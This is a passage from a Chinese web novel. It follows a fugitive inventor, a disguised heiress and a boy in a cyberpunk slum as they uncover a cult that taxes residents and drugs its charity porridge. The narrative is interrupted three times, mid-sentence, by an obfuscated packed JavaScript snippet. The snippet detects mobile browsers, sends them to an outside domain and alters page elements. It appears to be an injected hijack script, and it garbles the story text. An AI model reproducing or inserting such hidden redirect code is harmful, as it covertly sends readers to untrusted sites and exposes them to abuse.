邵满终于察觉到不对,他坐起身,“咋啦?不高兴?在学校被欺负了?” “没。谁敢欺负我。”何饭心想,要不是盛谨姐早上给了我糖,今天就让你饿死在家里! “我高兴,不行啊?” 何饭怼他,说完一骨碌跑厨房了。 “行行行,当然行。”邵满一乐,朝着厨房喊道,“务必要天天这么开心啊!” 一阵锅碗瓢盆噼里啪啦的声音愤怒地回应了他。 邵满犯完贱,心满意足。 接着他想起了什么,侧头对谢盛谨说:“我昨天不是说给你看个东西来着?” 他伸手打个响亮的响指,重复单调的电视画面顿时像涟漪一样开始波动,接着化开,碎片晶体泛起的淡淡的幽绿色光芒如潮水般迅速蔓延至整个屏幕。屏幕表面的电路开始疯狂闪烁,迸发出一串串复杂的代码,这些代码如同有生命一般,在屏幕上飞速游动、交织、重组,最终形成一个完美的屏幕。 邵满自己看时总觉得非常完美,甚至时常为自己的技术和艺术审美沾沾自喜,但现在冷不丁还有个人坐在旁边看自己这一番炫技,他久违地感到有些不自在。 他若无其事地咳了一声。 屏幕上出现的第一个节目和刚才没什么变化,依然是陈年脱口秀。画质模糊得像隔着窗玻璃看似的,中心思想翻来覆去的也就那几个:和谐、友善、心怀希望、知足常乐。 这是一部面向贫民窟的脱口秀。可惜上面的人太久没莅临过三圈层,压根不知道这里有条件买电视的也没几户。除了□□毒枭资本家,就是邵满这种有钱就拿去大抛小撒、不知节制的神经病。 邵满动了几下手指,屏幕上换了个台。 新闻联播。 画质像清晨朝露抚过,清晰得跟刚刚仿佛在两个世纪。这次新闻联播的主持人是个组建的AI模型。 邵满瞄了谢盛谨一眼,看到她面容平静但眼神专注。 他收回目光。 “就在三天前,执法机构的空勤部队汇报了一件奇怪的事:大规模空中巡查的无人机群失去信号,出现大面积坠毁,引起了少量受伤事故,幸运的是,无人死亡。为此,监管局已向执法机构作出严重处罚,空勤部队在此向民众道歉,所有损失都会全力赔偿!另外,在这里向大家推荐赔得多保险公司,其口碑良好,赔偿项目广泛……” 谢盛谨安静地听着。 等广告打完,屏幕开始扭曲,一阵光闪过,跳回之前的脱口秀节目。 邵满关掉了电视。 “你知道这是什么意思。”他深吸了一口气,“贫民窟的通讯、网络都被与一二圈层全方位截断,根本无法获取来自上面的任何信息。” “但我可以维持十分钟左右。”邵满说,“如你所见,我可以强行越过通讯阻拦,连上一二圈层的信息。” 他顿了顿,嬉皮笑脸地说:“我可告诉你我的秘密了。” “作为交换,你是不是也要表示点什么?不能用未成年人身份耍赖啊。” 谢盛谨抬眼看着邵满。 然后伸出手。 邵满不明所以,“嗯?” “伸手。”谢盛谨说。 邵满一脸茫然地伸出手。 下一秒他感觉到什么东西落在他掌心。 轻如鸿毛。但坚硬如铁。 他低下头,发现那是一个耳钉。 12.公平教 第四天,何饭终于不用去上学了。 明明可以睡懒觉的日子,他起了个大早,兴奋得像个陀螺在家里乱晃,硬要跟着邵满和谢盛谨一起去垃圾山。 “我也要去!”他强调道,“我从小在垃圾山长大的,对那里比你俩都熟悉!” 邵满刚从床上爬起来,困得不行,闭着眼,“……又没说不带你。” 十一点到达垃圾山时,发现今天的人比前两天都多。 “因为公平教要收税了。”邵满对谢盛谨解释道,“还有几天。东区的所有居民都要交税,按人头算,一个成年人两百。老人小孩一百。” “比无涯帮好点。”何饭补充。 “看上去是这样。”邵满意味不明地笑了声,“他们还给吃不起饭的人提供‘圣餐’。每周六周三的晚上,公开施粥。还建了儿童福利院,接管那些没有父母无家可归的小孩。” “对。”何饭点头,“我去喝过他们的圣餐。我被我舅舅舅妈丢掉的时候差点就去了公平教的福利院,但是后来被邵哥捡到了。” 他毫不顾及地说出令人伤痛的往事,神情坦荡,“邵哥把我带回家后就不让我去喝他们的粥了,我都是跟他一起吃饭。” 谢盛谨看了邵满一眼。 这人迅速把头转向一边,不看她,耳根微红,居然有些不好意思。 邵满对这番猝不及防的推心置腹非常不能适应,“说那么多干嘛。”他低声训斥道,“吃饱了撑的,哪儿来的那么多废话。” 何饭眨了眨眼。他“哦”了一声,调子拖得很长。 谢盛谨问道:“我们也要去交吗?” “我们不用……呃,要啊,”何饭被邵满肘击了一下,改口道,“要交一个两百,两个一百,一共四百。” 才拿到手的五百瞬间少了百分之八十。管账小厮何饭惆怅地叹口气。 “交五百。”谢盛谨问,“行吗?” 何饭没反应过来,“为……” “行。”邵满干脆利落地打断他,“可以。以防万一。” 这下五百块钱分文不剩。何饭闭上了嘴。 邵满决意不提他故意找人来收保护费结果倒贴七百还没效果的蠢事,但一个谎话要用无数个谎话来弥补,他硬着头皮继续拿钱来补这个窟窿,每一分流向别人手中的纸币都像在他嘴上响亮地抽了一巴掌。 “我错了。”邵满想,“我再也不找人跟我串通搞钱了。我只是想展示一下我没钱……哪能想到我是真的没钱了。” 他深吸一口气,感觉自己心痛得无法呼吸。 邵满缓了好一会儿才开口:“走吧。” 他有气无力地抬起手指了指检测仪指示的方向,“那边。” …… 依旧是分头行动。 听到天空传来如闷雷滚滚般的飞机滑翔声,谢盛谨抬起头。 有时飞机一天会飞来几趟,上午下午都有。 它的底部裂开,垃圾如瀑布般倾泻而下,接着闭上。 但这架飞机与前两天的所有飞机都不同。 将垃圾倾倒下来后,飞机并没有立刻离开,而是继续下降。它越降越低,最终停在了距地面不到五十米的高度,给地面投下了一片庞大的黑压压的影子。 谢盛谨发现周围没一个人惊慌。 她皱了皱眉。 几分钟后她看到有一群人推着一辆造型奇特的小车过来。他们到达飞机底下后便站住不动了,三五成群聊着天,神情放松。 五分钟后,飞机底部裂开一个小口子。这个裂缝与倾倒垃圾的相比,简直像芝麻与足球。 那道裂缝中飞出了一台中小型无人机。无人机顶部平坦,是装载框的结构,它“嗡嗡嗡”地飞到小车聚集处,悬停于离地面半米高的地方。 那群人便开始往无人机上抛一个个方块状的东西。 半个小时后,无人机满载而归。随着它飞进专门的出入舱,机身裂开的小口徐徐关闭。 这具庞然大物缓缓上升。 然后在空中发出如雷贯耳的爆鸣,伴随着尖锐的、撕扯空气的声音离开。 谢盛谨望着它消失的天际,若有所思。 …… 回到家中,吃完饭,何饭出去找他的小伙伴玩,邵满躺在沙发上折腾他的新发明,谢盛谨在椅子上看书。 “看得懂吗?”邵满问,“这本书的专业知识很多,看不懂正常。” “的确不太明白。”谢盛谨放下书,“如果量子通讯与材料特性能够融合,通讯模块利用量子纠缠原理进行信息传输,而超型液态金属抗电磁干扰材质则为量子通讯提供了稳定的运行环境。产生的电磁脉冲对抗材质的抗电磁干扰特性仅仅只能保障量子通讯模块的硬件不受损坏。” “不一定。当EMP炸弹的电磁脉冲冲击到装备表面的超型液态金属材质时,材料内部的量子晶体结构会迅速捕捉并引导电磁能量,使其沿着特定的微观路径分散,就像将汹涌的洪水引入无数细小的沟渠。”邵满解释道,“超型液态金属凭借其独特的微观结构和电磁屏蔽能力,能有效隔绝外界电磁噪声对量子通讯信号的干扰,确保量子比特的稳定传输。但是——” “我做不到。”邵满坦荡地说,“我大学的专业不是量子通讯,对这方面不是非常了解。” 材料具备,打破贫民窟和一二圈层电磁阻隔的能力具备,但没有能将两者兼具的工程师。就像古代有个大侠想精进自己的绝世神剑,符纸大师说兄弟我可以助你一臂之力,只要把我这符纸融合在你的剑上届时你必将天下无敌!但问题来了,没有附魔师,两人只能看着自己的神剑和符纸未语泪先流。 沉默了一会儿,邵满说道:“我认识一个人。他很厉害。” 在谢盛谨移过来的目光下,他迟疑着,“也许他可以。” “那就试试。”谢盛谨在想事情,不知不觉进入了工作状态。 “不惜一切代价。”她说。 邵满被这句凛然肃杀的语句惊到了。 谢盛谨注意到他愣怔的眼神,霎时柔软了语气,“我的意思是,会尽力给出他心动的东西,来换取他出手的机会。” 糟糕。谢盛谨想,跟下属说惯了,一下子没转变过来。 邵满“哦”了声,“不过可能要过段时间。他最近不在东区。” “大约多久?” 邵满勉强给出了一个时间,“至少一个星期。” “可以。”谢盛谨笑笑,“没有很急,邵哥不必担心。” 她转移了话题,“邵哥知道他们往飞机上搬的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432481|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块盒子是什么吗?” 邵满顿时严肃了脸色。 他瞧了周围一圈,确定锁好了门关好了窗,才正色道:“对外说是飞机的动力能源。但是根本不可能。飞机全靠电力,满电状态来回八趟不是问题。” “我推测……”他压低了声音,靠近谢盛谨,“是极其昂贵的稀有金属。” 谢盛谨脑海里一瞬间闪过了很多名字。 邵满重新靠回去,“怎么?想通过那些飞机离开?” 还没等谢盛谨说话他就摇摇头,“不可能。我试了很多次。飞机从来没有在贫民窟停靠过。它离地面最低的距离也就是放飞运输无人机的时候。我曾经费尽心思把一只兔子混进了那些方块里,但无人机检测到了生命体征,直接把兔子扔了下来,到此为止连飞机门都没有摸到。” 谢盛谨安静地思忖着。 邵满一口气说完一大段,口干舌燥。他伸手拿起桌上的杯子,灌了一大口水。 喝完后他望着前方发呆。 谢盛谨刚好在他视线的正前方。 邵满的眼神便无知无觉地盯上去了。 谢盛谨脸上的伤口在营养仓的作用下真好了不少,边缘处已经出现粉色的新肉。即使带着伤,邵满也不得不承认谢盛谨拥有一张哪怕在基因改造儿里也极其出众的脸:皮薄骨利、容貌极盛,横贯脸庞的骇人伤痕更带给她一丝夺目的戾气。 “邵哥。” 谢盛谨在邵满看向她的第一秒就察觉了,但过了足足十余秒她才轻声提醒道,“我们可以利用飞机传递信息。” 邵满猛然一回神。 他有些尴尬,先是随口应和了两句,然后才反应过来谢盛谨的话。 传递信息?邵满恍然大悟。 他被自己的固有思维困住了,老是以为事事都得靠自己,于是压根没往“还可以联系别人”这一方向揣测。 唉,这人情欠的可就大了。 邵满心中颇不是滋味。 他思量了一会儿。 “行。”他对谢盛谨说,“我会全力配合你。” …… 一转眼就到了公平教收取人头费的日子。 邵满带着何饭和谢盛谨来到东区33街。 这里的人相当多。摩肩接踵,堵在并不宽敞的巷子里。何饭让他们排着队,自己溜一边儿去找认识的小伙伴了。 谢盛谨在这些普遍营养不良的人群中高得鹤立鸡群。她一眼就能透过几十上百个脑袋看到最前方的景象。 高大铜锅里的米粥和营养液混合物腾起浓重的白色雾气,飘在公平教白袍修士的机械义眼前。穿灰麻布衣的老妪攥着收来的人头费笑得牙不见眼,脖子上挂着引人注目的金项链,苍老指节抚摸过每个小孩的头顶。 “……愿公平之光照耀。” 白袍修士的微笑仿佛焊在脸上,他的表情没有任何细微的波动,手部铁勺敲击粥桶的节奏机械而固定,后方收钱处的硬币清点声和它前后交织响起,一叮一咚,仿佛永无止境。 这里有贫苦众生汇聚起来的悲声哀鸿,也有谢盛谨落入贫民窟后看到的最富有人群。 “铛铛铛!——” 钟声敲响,余音清雅,缭绕不绝。 谢盛谨在队伍里前进了一步。 13.共生型意识网络 今天是周六。 正好也是公平教施粥的日子。 于是这里排有两条队伍:一条脸色蜡黄但心怀感激,另一条愁眉苦脸唉声叹气。 都是见不到底的长。 谢盛谨收回目光,扯了扯邵满的袖子,“邵哥,这两支队伍互不相通吗?” 神奇的,邵满的心脏一跳。 谢盛谨轻轻一扯的不仅仅是袖子,还是邵满蠢蠢欲动、无处安放的怜爱之情和兄长之意。邵安生前对他从来都是毫不客气的使唤态度,嘴里向来是邵满来邵满去,何饭半大小子吃穷老子更不需要说,唯有此刻故作乖巧的谢盛谨让他极大地满足了作为哥哥的被需求感。 邵满装模作样地正色起来,低声道:“互通的。而且是必须。接受施粥的人得有交人头费的证明,而东区所有的住户都必须要向公平教缴纳人头费。” “那不就是把他们交人头费的钱换了一周两次的合成粥?”谢盛谨面无表情,“就像是用钱买来了远远不能等值的排泄物还得感激涕零。” 这话实在尖锐。 “是啊,”邵满说,“但是如果他们不交,就将面临被赶出东区的后果。谁也不愿背井离乡。” “而且……” 邵满招招手,示意谢盛谨靠过来。他的声音极低,“那粥里有神经成瘾剂。” 谢盛谨的表情没什么变化。 “喝上之后就觉得越来越好喝,一次之后欲罢不能,久而久之将其称为‘圣餐’。”邵满目露讽刺,“他们心里,觉得交人头费是理所应当的必备开支,而‘圣餐’,是麻木生活里唯一的动力,是来自天主的赏赐。” 邵满注意着谢盛谨的表情,不置可否地一耸肩,“但也没法。这种低剂量神经成瘾剂造成的危害也不严重,有点盼头生活下去总比一天到晚郁郁寡欢好。” 谢盛谨想了想,点头。 “名字叫公平教,那他们传教吗?”她问。 邵满一下子乐了,“当然要传,不然取这名字干嘛?理念好像是什么‘天主之下人人平等,劳动所得事事公平’。嗯,还挺顺口,挺好记。” 谢盛谨略一蹙眉,“怎么传?” 邵满看她一眼,心想还挺敏锐。 “共生型意识网络。”他念出这个词的时候,语气微顿,微不可察地咬了咬舌尖。 谢盛谨倏地抬头。 刹那间她的手紧握成拳,指尖用力到微微发白,瞳孔急剧骤缩了一瞬。 一股细微的电流沿着脊髓渐渐上爬,侵袭至五脏六腑。脑海中两道完全不同的声音跨越时间重合在一起,从模糊逐至清晰—— “……共生型意识网络。恭喜!” 掌声如雷鸣般响起。 少年在万众瞩目下登上台,大步流星神采飞扬,他接过校长手中的奖杯的同时一弯腰,真挚且诚恳地道谢:“谢谢。我很荣幸。” 他站上领奖台,一只手举起,给台下的上万人展示他的奖杯。闪光灯和欢呼把他簇拥得像个明星。 他也的确是今天的明星。 这是卢兰学院的毕业典礼,而他是这所天才云集的教育圣地里,最闪耀的优秀毕业生。 他的天赋遥遥领先,他的成就熠熠生辉。 校长拥抱他,在他的耳边笑着说道:“我任职二十年,你是我见过最有天赋的学生。” 少年狡黠一笑,“您不会对每个人都这么说吧?” “不会。”校长否认道,继而露出一个同样狡黠的微笑,“我会针对个人情况而修改我的毕业寄语。” 他与少年相视一笑,“能站上这里的可都是天之骄子,我不愿伤了任何一位天才的心。” 在欢呼声的簇拥下,少年即将离开之时,校长凝视着他,说道:“但有一句话我没说错。你的确是卢兰学院最有天赋的学生之一。” “天赋是条野兽。你得日日夜夜辛苦驯化、不辞辛苦和它混个脸熟,它才会亲近你,并为你所用。”时至中年的校长凝视着缓缓升起的新星,喟叹一声,说出了对每一届优秀毕业生的忠言,“我希望你不趋炎附势、不谄媚权贵。” “我希望能不忘初心、追随自己。” “你的未来……” 最后是他夹带私心的祝福与预言。 “不可估量。” 这四个字的期望太高。 也许正因为如此,它在后来变成了一个讽刺。 少年拒绝了多家公司的诚挚邀请,甚至一口回绝了来自谢家的橄榄枝,却转头将他的得意之作卖给了医疗行业龙头,程家。 他以此换取了成为程家私有实验室高层的机会。 一步飞升。 有人扼腕叹息,有人赞同鼓励。 但没过多久,铺天盖地的,是天才堕落的传言。 少年窃取了实验数据被程家全天下通缉,商业间谍、学术毒瘤的名头挂在他头上,无数他的拥趸等着他的澄清,却换来的是永久的销声匿迹。 至此谢盛谨再也没有听说过这个名字。 直到六年后的今天。 在哀鸿遍野、麻木愚钝的贫民窟,在前路叵测、危机四伏的局势下,她再一次听共生型意识网络,来自于它的发明者口中。 “……你刚刚说什么?”她低声,且一字一顿,“它叫什么名字?” 邵满注意到谢盛谨的不对。 她的眉头紧蹙,眼睛发红,唇色苍白。 邵满第一次见到谢盛谨如此剧烈的反应。他被吓了一跳,赶紧去搀扶她,“怎么了?不舒服吗?” 女孩布满血丝的眼睛一眨不眨地盯着他,“……不。” “你说这是共生型意识网络?”她的声音有些哑,牙关紧咬。 邵满才想起来她的问题。 再三确认谢盛谨没什么事后,他迟疑着回答道:“对啊。但这是阉割版本……准确地说,这是控制型奴役版本。让他们在轻飘飘的、幸福的幻觉中感受到天国的美好,接受教会的洗礼。” 他的言语平静,像在描述别人的东西。 谢盛谨想,不过就目前看来,这的确是别人的东西了。 邵满沉默了几秒,抬眼看向谢盛谨,试探着问道:“你听说过共生型意识网络?” 谢盛谨盯着他,像往脸上贴面具一般,神情逐渐恢复平静。 仅仅一个呼吸的功夫,刚才仿佛只是被风吹过的湖面,现在偶然惊起的涟漪已经消失了。 她朝着邵满扬起一个无害的微笑,“当然听说过。当初卢兰学院的毕业生完成了它,轰动一时。” 邵满心情有些复杂。 “这样吗。”他的嗓音有些艰涩,“这么出名吗?” “可能因为我也是卢兰学院毕业的。”谢盛谨说,“对前辈的事情比较关心。” 邵满一惊,转念一想又觉得是情理之中的事,“你是卢兰学院的?” 这不奇怪,一圈层所有拥有一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444707|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追求的权贵都会将自己的孩子送进这座教育圣堂。 “你毕业了吗?”邵满问。 “嗯。我跳级了。” 谢盛谨的目光从邵满的嘴巴、再到鼻子,最后停留在他的眼睛。 “邵哥应该也知道卢兰学院吧?卢兰学院有个传统,会将优秀毕业生的照片挂在名誉之堂的走廊,按照专业成就大小排位。当年有个毕业生原本应当是五廊的第一位,但听说因为出了些意外,校长没有派人挂过他的照片,甚至连名字都没有。” 谢盛谨紧盯着邵满的眼睛,“按理说这个空位应当从后顺位依次补足,但他的成就前无古人后无来者,没人敢越过第二取代他的位置。于是第一位的相框空空荡荡地挂在那里,所有老师都对这个名字讳莫如深,以至于后来它成为一个独特的故事被人传送。他就是共生型意识网络的发明者。” 谢盛谨终于按耐不住自己深藏于心的、在这几天都竭力隐藏的劣根性。她的手指因为兴奋和期待在略微地颤抖,被单方面拒绝时埋下的种子突然蓬勃而长,她不得不直面自己的内心了—— 她在期待、甚至渴望看到邵满的无助,茫然,以及面对过去时的痛楚。 谢盛谨微笑着,言辞轻柔地最后的疑问句变成一根针刺进邵满的血管。 “邵哥知道这个人吗?” 她明知故问。 邵满没说话。 他沉默着,抿唇,一声不吭。 “邵哥?”谢盛谨歪了歪头,“……邵哥?怎么啦?” 邵满猝然回神。 迎着谢盛谨关切的目光,他艰难地回答道:“……我没事。我只是……只是在回忆这个人。” 谢盛谨“嗯”了一声,“也就是说邵哥知道他?那邵哥也是卢兰学院的吗?” “……嗯。”邵满勉强地说,“但只是籍籍无名之辈,当然比不上这些天才。” 他的确没缓过神。 当初毕业之后各种事情接踵而来,他带着邵安逃到贫民窟,根本无暇顾及学校那边。 于是这是他时隔六年第一次听闻,原来自己也被放在了荣誉之堂的走廊首位——那个被所有卢兰学院的学生奉为皇座的地方。 尽管他只挂上去了一个相框。 他突然想起了校长在台上对他的殷殷祝福:“……我希望你不趋炎附势、不谄媚权贵。我希望能不忘初心、追随自己。” 那老头……当初还不是老头,但现在也许已经是了。 他说—— 你的未来不可估量。 邵满突然感到一阵揪心的疼。 他很失望吧?邵满想,当初的事情传到他的耳朵时,他是怎么看待这件事的?他会认为自己的眼光有失偏颇,并对我破口大骂吗? …… 沉浮的不实感中,他感觉自己的手被拉住了。 “邵哥。走神了吗?”谢盛谨拉住他的手腕往前走了一步,“还排着队呢,快到我们了。” 邵满眯了眯眼,恢复有些模糊的视线,“何饭呢?怎么还没回来?” “他很快了。”谢盛谨扬了扬手里的终端,“他说他去上个厕所就回来。” “好。”邵满被勾起了往事,兴致不是很高,他无精打采地点点头。 这时谢盛谨突然开口:“我想问邵哥一个问题。” 邵满依然心不在焉:“你问。” “当年那个毕业生,会不会与公平教有联系?” 14.维斯右 “不会。” 邵满脱口而出。 紧接着他神情一僵,注意到了谢盛谨讶异的眼神。 完蛋,说话没过脑子,反应得太快。 邵满眼睁睁地看着谢盛谨疑惑发问:“邵哥怎么知道?” 我能不知道吗……邵满欲哭无泪,我干的事情我当然是最清楚的,但是这怎么解释,难道我说我只是听闻过他的传说感觉他不会干这种事?但是这是不是有点像脑残粉感觉完全没有依据……但事至如此也只能这样了,邵满硬着头皮赞美了自己一遍,然后声情并茂地表达了作为“脑残粉”的观点。 邵满在谢盛谨惊讶的眼神里快要羞愧地无地自容了,他并不知道自己在后来的学弟学妹眼底到底是个怎样的形象,要是一不小心成了追随劣质偶像的典范那就糟糕了,这不是带坏小朋友吗? 邵满心一横,“总之我觉得他应该不会干这种事,当然我也不了解他,以上猜想全凭个人胡编乱造没有任何事实根据……” “我信。” 谢盛谨打断他。 “不信就好,就……嗯?!” 邵满猝不及防听了一耳比自己还莫名其妙的答案,人都懵了,“为什么信?” “我相信邵哥。”谢盛谨露出一个颇有深意的笑,“我也相信邵哥喜欢的人。” 邵满只要在冷静状态下就能察觉到谢盛谨表情的不对劲,但现在他已经被一腔羞恼给埋住了,简直口不择言语无伦次,“不是,也不是,你不能这么说啊……” “说什么?” 一道声音插进来,何饭把两个人从头到脚地打量了一遍,“你们在背着我说什么悄悄话?” “在说你邵哥的偶像。”谢盛谨气定神闲,“可厉害了。” 何饭顿时惊了,他仰头难以置信地盯着邵满,“你还有偶像?这么多年你怎么都没告诉我?” 因为是一分钟前才粉上的。 邵满心说。 他对谢盛谨手足无措,但有一百万种法子对付何饭。他理不直气也壮地把何饭转过去,“不想说。不行啊?” 在何饭的攻击话语即将抵达嘴边时,邵满眼疾手快地把他的嘴巴捏成了一只鸭子,“安静点,快到了。” …… “家里几口人?” “三个。” “谁是家主?” “我。” “剩下两个都到了?” “对。”邵满把何饭和谢盛谨推至跟前,“我弟弟妹妹。” 戴着电子义眼的男人抬头打量着两人,几秒后毫无征兆地指了指谢盛谨,“你,脸上的伤怎么弄的?” “在修理铺里不小心被工具划伤了。” 谢盛谨从善如流地回答。 她的伤口一天比一天好得快,如今只剩一条又细又长的伤痕。 义眼男人一皱眉,“修理铺?” “对。”谢盛谨解释,“家里开修理铺的。” “登记过没?” 邵满赶紧点头,“登记过的。在五长老那里。” 义眼男写着字,抬头,第一次将视线停留在邵满身上。他看了第一眼,然后第二眼,接着明显愣住了。 邵站在谢盛谨身后,拼命朝他摆手。 几秒后义眼男若无其事地低下头。 “愿公平之光照耀你们。”他对三个人摆摆手,“下一位。” 他们逆行穿过人群,朝家的方向走去。 “嘿。”邵满突然发出一声。 剩下两人的视线被他吸引过去。 邵满却突然闭了嘴。 走了几步后他才说道:“我刚刚看到我们的邻居了。三楼那位。” 也是前不久死了儿子的那位。 这句话他没说。 但何饭和谢盛谨都知道。 前几天那个气势汹汹声音洪亮的妇女仿佛骤然苍老了一大截,她的头发发白,眼角有极深的沟壑,穿着破旧的围裙,带着她的父母和剩下的孩子们来交人头费。 他们没有认出邵满一行人,匆匆擦肩而过。 谢盛谨目送着他们的背影隐没在人群中。她在快要穿过巷子时侧过脑袋,目光投向远处。 “公平教”三个大字挂在教堂的最顶端,而从这里却只能看到背面。 气派的机械教堂造价不菲氛围浓郁,正面大门谢盛谨尚未能一览,而背面她已经尽收眼底。上千人拥挤在这里,幸福的微笑、感激涕零的作揖、唉声叹气的抱怨,诡异地交织在一起,瘦骨嶙峋、携带着陈旧义体的贫民们和身高体壮、武力强盛的教会职员拥挤着,混合米粥的香气伴随着敲击铁皮巨锅的“叮叮”声传送至很远很远。 邵满注意到她的视线,“怎么了?” 谢盛谨收回目光,摇头。 她跟在邵满身后,若有所思。 程家。 公平教。 她在两者之间画了一个等号。 下一刻,一个巨大的叉沉重有力地盖在“公平教”上面,谢盛谨再次侧脸,遥望它的标牌,沉默着,眼睛里仿佛是黑夜中一望无际的墨海。 …… 邵满老远就看到修理铺门口坐着个人。 那一头五颜六色的海藻头发醒目得方圆百里都找不出第二个,直到走近时邵满才没好气地给了地上的人一脚,“还蹲着干嘛?要饭也不摆个碗?” 维斯右骤然惊醒。 她一定神,看清了来人,然后擦擦嘴角,晃晃悠悠地站起身,言简意赅,“等你。” “等我干嘛?终于被当成诈骗犯被抓了?是不是把电脑都给你砸了?”邵满一边开门,嘴里讲个不停,“我告诉你啊,我这儿啥都没有,要钱没有要命一条,你别想在我这里赖着,我最多收留你两天,你自己出去坑蒙拐骗搞点钱去,别指望我给你……” “好吵。”维斯右非常不耐烦地打断他。 邵满一口气噎住,瞪着她,感觉自己一口老血已经堵在喉咙即将喷薄而出吐在维斯右那把海藻上,还能免费染个红色省得去理发店的钱。 这时候何饭突然扑上来,给了维斯右一个大大的拥抱,“维斯右姐姐!我好想你!” 下一秒他就被维斯右拎起来扔到一边儿去,“滚。” “滚就滚。”何饭非常利落地滚到谢盛谨旁边去站直了。 也正因为这个动作,维斯右看到了谢盛谨。 她绿色的义眼非常明显地呆滞了一瞬。紧接着她像个机器人一般歪了歪头。 谢盛谨安静地站着,任由她打量。目光对视时,谢盛谨扬起了一个柔和而漂亮的微笑。 “你很好看。”维斯右突然说。 谢盛谨看着她笑了笑:“看来我很符合你的审美。” 维斯右盯着她的脸,目光有些游移:“我叫维斯右。” “我叫谢盛谨。”谢盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454731|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谨微微倾向她,轻声道:“请问你是?” “占卜师。”维斯右点头,“欢迎你。” 谢盛谨一愣,她目光中有一丝怀疑。 维斯右没看出来。她见谢盛谨没有回应她,想了想邵满之前给她总结的“十大成功秘诀”,试探着报出一个数字:“七折。” “?” “你是新客。”维斯右解释。 谢盛谨重复了一遍,“新客?” 维斯右碧绿的眼睛苦恼地注视着她,心想可这已经是最低折扣了,邵满说再低下去就会失去神秘感,但是下一刻她就被谢盛谨的脸晃了神。 “五折。”她不由自主地说道。 你真好看。 这话她没来得及说出口,因为她被忍无可忍的邵满拉过去了。 “她不占卜。”邵满居高临下地对维斯右说,“而且是未成年。” 维斯右皱起眉,“未成年可以占卜。” “未成年的确可以占卜,但是——”邵满拖长了调子,在维斯右不明所以的眼神中得意洋洋地宣布道,“但未成年没有经济能力,她的钱都在我这里。她没钱去占卜。” 维斯右的目光倏地转向谢盛谨。 谢盛谨回以她礼貌且认同的微笑。 维斯右再倏地转回来。 她瞪着邵满:“恶毒。” 然后看向何饭,说道:“开门。” 何饭看了邵满一眼,发现他没有任何指示,于是从善如流地开了门。 维斯右率先踏进去。修理铺的外部是真真正正的修理铺,各种货架、零件、工具、成品,应有尽有。而且因为面积狭窄东西繁多,货架挨得近,且崎岖。因此不熟悉的人很难在这里穿梭。 但维斯右像条鱼一样滑过去了。 她的机械义体非常灵活,仿佛是她身上原本就有的东西。流畅的金属线条与她轻巧灵活的身形结合得极其完美,义体的每一处衔接都严丝合缝,肤色模拟层与原生肌肤几近无异,哪怕凑近细看,也难辨真伪。 谢盛谨看到她的手臂处义体有一道道流光闪过肉色的肌理。但这些流光色彩清晰轨迹可寻,甚至还带着令人惊叹的艺术感,像被设定好的完美程序。 维斯右一转身,注意到谢盛谨的目光。她看向自己的手臂,然后又看看谢盛谨,然后把手臂递过去,“你喜欢?” 谢盛谨“嗯”了声,“非常漂亮。” 维斯右听到这句话非常开心。但她的开心表现得不明显,她只是尾调上扬地应了声:“是吗?” “还有。”她点了点自己的手臂,刹那间那些流动的光点迅速向中间汇聚,像涟漪一样波动开,几番数据流如同溪水里一闪而过的小鱼,最终缓缓形成一个屏幕。 维斯右熟练地点了几下,屏幕中出现了一个嘴角咧开、非常可爱的笑脸。 笑脸上下晃了晃。 谢盛谨目光一凝。熟悉的手法,似曾相识的展示途经,大半都相似的代码……全部指向了一个人。 于是谢盛谨抬头。 她注视着维斯右,朝她露出一个与屏幕中一模一样的、真心实意的笑容,她轻声道:“很高兴认识你。” 维斯右迅速点了两下头,“我也是。” 谢盛谨笑着指了指她的手臂,“这是邵满做的吗?” 维斯右点点头,又摇摇头。 “屏幕是。”她告诉谢盛谨,“义体不是。” 15.哥哥 邵满招呼所有人过来吃饭。 “别聊了。”他制止了沙发上聊天的两个女孩,“快来吃饭。” 何饭紧跟其后将饭菜端出来,“吃饭吃饭!” 他兴高采烈地喊:“今天有糖醋排骨!” 这是除了邵满外,其他三个人都非常喜欢的一道菜。 “你们三个迟早要得糖尿病。”邵满吐槽道,“天天吃那么多糖。” 何饭反驳:“我没有很喜欢吃糖,我只是喜欢吃好吃的。” “要你管。”维斯右说。 谢盛谨虚心接受建议,抬眼看着邵满笑笑:“我尽量克制行吗?” 邵满瞬间闭了嘴。 “偶尔吃点也没事。”他盯着何饭说道,“你吃得也不多。” 何饭吃了两口,沐浴在邵满柔情似水的视线下,浑身都不自在,“我是何饭啊,邵哥,你对着我说干嘛?眼睛出问题了?” 邵满“啪”的一声端起何饭面前糖醋排骨的盘子,然后轻柔地放在谢盛谨面前。 他面朝何饭,一脸凶狠:“你爱吃不吃。” 